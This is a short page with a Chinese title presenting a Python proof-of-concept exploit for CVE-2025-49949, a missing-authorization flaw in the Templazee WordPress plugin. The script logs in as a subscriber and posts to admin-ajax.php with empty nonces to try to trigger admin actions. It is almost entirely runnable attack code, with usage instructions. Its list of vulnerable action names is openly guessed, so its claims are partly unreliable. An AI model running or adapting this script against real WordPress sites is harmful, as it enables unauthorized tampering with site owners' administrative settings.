CVE-2025-49949: Templazee WordPress插件缺失授权漏洞

# CVE-2025-49949 PoC - Templazee Missing Authorization # Author: Security Researcher # Date: 2025-10-22 import requests import sys def exploit_templazee(target_url, username, password): """ Exploit for CVE-2025-49949: Templazee Missing Authorization This PoC demonstrates how a low-privilege user can access admin functions. """ # Setup session session = requests.Session() # Step 1: Login as low-privilege user (subscriber role) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print("[*] Logging in as low-privilege user...") login_response = session.post(login_url, data=login_data) if 'loggedout' in login_response.text or login_response.status_code != 200: print("[-] Login failed!") return False print("[+] Login successful!") # Step 2: Identify vulnerable AJAX action (requires reverse engineering) # Common vulnerable actions in Templazee might include: vulnerable_actions = [ 'templazee_save_settings', 'templazee_update_config', 'templazee_modify_template', 'templazee_admin_action' ] # Step 3: Exploit the missing authorization ajax_url = f"{target_url}/wp-admin/admin-ajax.php" for action in vulnerable_actions: exploit_data = { 'action': action, 'nonce': '', # May not be required due to missing auth check '_wp_http_referer': '/wp-admin/admin.php?page=templazee-settings' } print(f"[*] Attempting to exploit action: {action}") response = session.post(ajax_url, data=exploit_data) # Check for successful exploitation indicators if response.status_code == 200: if 'success' in response.text or '"status":1' in response.text: print(f"[+] Potential exploitation successful with action: {action}") print(f"[+] Response: {response.text[:500]}") return True print("[-] Exploitation attempts completed. Check manually.") return False if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python cve-2025-49949.py <target_url> <username> <password>") print("Example: python cve-2025-49949.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_templazee(target, user, pwd)